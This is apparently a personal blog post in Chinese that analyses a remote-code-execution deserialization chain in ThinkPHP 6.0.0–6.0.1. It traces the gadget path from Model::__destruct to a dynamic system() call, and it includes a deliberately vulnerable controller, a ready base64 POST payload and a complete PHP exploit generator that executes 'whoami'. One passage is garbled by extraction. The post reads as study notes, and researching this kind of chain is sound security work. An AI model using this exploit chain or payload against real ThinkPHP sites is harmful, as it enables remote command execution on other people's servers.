ThinkPHP6.0.1_反序列化漏洞分析
- ThinkPHP6.0.0-ThinkPHP6.0.1
- 漏洞代码
<?php namespace app\controller; use app\BaseController; class Index extends BaseController{ public function index(){ $data = $_POST['data']; unserialize(base64_decode($data)); } } - POC
/index.php POST data=TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjg6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6Mjoia3kiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAd2l0aEV2ZW50IjtiOjA7czoxOToiAHRoaW5rXE1vZGVsAGV4aXN0cyI7YjoxO3M6MTg6IgB0aGlua1xNb2RlbABmb3JjZSI7YjoxO3M6NzoiACoAbmFtZSI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjg6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6Mjoia3kiO3M6Njoid2hvYW1pIjt9czoxMjoiACoAd2l0aEV2ZW50IjtiOjA7czoxOToiAHRoaW5rXE1vZGVsAGV4aXN0cyI7YjoxO3M6MTg6IgB0aGlua1xNb2RlbABmb3JjZSI7YjoxO3M6NzoiACoAbmFtZSI7TjtzOjEwOiIAKgB2aXNpYmxlIjthOjE6e3M6Mjoia3kiO2k6MTt9czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6Mjoia3kiO3M6Njoic3lzdGVtIjt9fXM6MTA6IgAqAHZpc2libGUiO2E6MTp7czoyOiJreSI7aToxO31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czoyOiJreSI7czo2OiJzeXN0ZW0iO319
漏洞分析
- TP5的反序列化链入口都是Windows类的__destruct,但是在TP6中把这个类移除了,那么这里利用的是
Model::__destruct方法
- 这里
$this->laxySave变量可控,跟进save方法,
- 因为在TP6.0.1中TP5.2.X反序列化链的__toString后面的链是可以利用的,所以这里只需要找到
__toString入口即可,网上的大师傅寻找的链是save()->updateData()->checkAllowFields()->db()。先看第一个if条件判断,需要不进入if语句块才能继续往下执行到updateData方法
- 跟进isEmpty方法,
$this->data可控
- 跟进trigger方法,
$this->withEvent可控
- 回到
Model::save方法,因为$this->exists可控,所以可以进入updateData方法
- 跟进方法,trigger方法分析过了,可以不进入这个if语句块,然后
$data是根据getChangeData方法获取的
- 跟进getChangeData方法,
$this->force和$this->data可控,所以$data可控
- 可以进入到checkAllowFields方法

- 跟进checkAllowFields方法,
$this->field和$this->schema都可以控制,可以进入到db()方法
- 跟进db方法,这里
$this->name,$this->suffix可控,可以调用任意类的__toString方法
- 这里要讲一下的是,就是这里db方法进不去,后面也还有一个
updateData::db方法可以利用,所以$this->schema是否为空都可以
- 后面就是延续TP5.2.X的__toString之后的链了

- 然后toJson方法,再到toArray方法,接下来的利用思路为
toArray()->getAttr()->getValue()。$data和$this->visible可控,可以进入到getAttr方法
- 前面有对
$this->visible进行处理的代码,但是只要$this->visible数组对应的值不是字符串即可绕过处理代码
- 跟进到getAttr方法,
$name就是传过来的$key,可控,$value是通过getData方法获得的
- 跟进getData方法

$fieldName通过getRealFieldName方法获取的,跟进getRealFieldName方法,$this->convertNameToCamel为空,然后$this->strict默认为true,所以相当于返回原值罢了
- 回到getData方法,这个方法其实返回的就是d a t a 数 组 的 值 罢 了 , 回 到 g e t A t t r 方 法 , 此 时 ‘ data数组的值罢了,回到getAttr方法,此时`data数组的值罢了,回到getAttr方法,此时‘name
和$value`都可控,那么进入getValue方法。这里要说一下的是,下载下来的TP6.0.1在进入动态调用之前有一个if判断,需要手动去掉
$fieldName通过getRealFieldName方法获取,前面分析过了,其实返回就是原值罢了,然后$this->get可以控制(不设置值即可),所以可以不进入第一个if语句块
- 然后
$this->withAttr可控,$relation为false,然后$this->withAttr[$fieldName]可控,可以进入如下语句块
- 这里进行了动态调用,可以利用system方法进行RCE,system方法恰好有两个参数,且这里调用的参数可控
EXP构造
<?php
namespace think{
abstract class Model{
private $lazySave;
private $data;
protected $withEvent;
private $exists;
private $force;
//protected $schema;
protected $name;
protected $visible;
private $withAttr;
public function __construct(){
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->visible = [
'ky' => 1
];
$this->data = [
'ky' => 'whoami'
];
$this->withAttr = [
'ky' => 'system'
];
// $this->schema = [
// '1' => '1'
// ];
}
public function setName($name){
$this->name = $name;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{}
}
namespace {
use think\model\Pivot;
$a = new Pivot();
$b = new Pivot();
$a->setName($b);
echo base64_encode(serialize($a));
}
写在后面
- 这条链后面的部分和TP5.2.X的链是一样的,只是前面的不同而已。
- 今天17号周三了,今天分析了5.0.9的一条SQL注入链和这两条TP6的链,TP的链就先审到这吧,接下来就是把TP专题的ctf题刷一刷,然后审java的链
版权声明:本文为qq_53264525原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。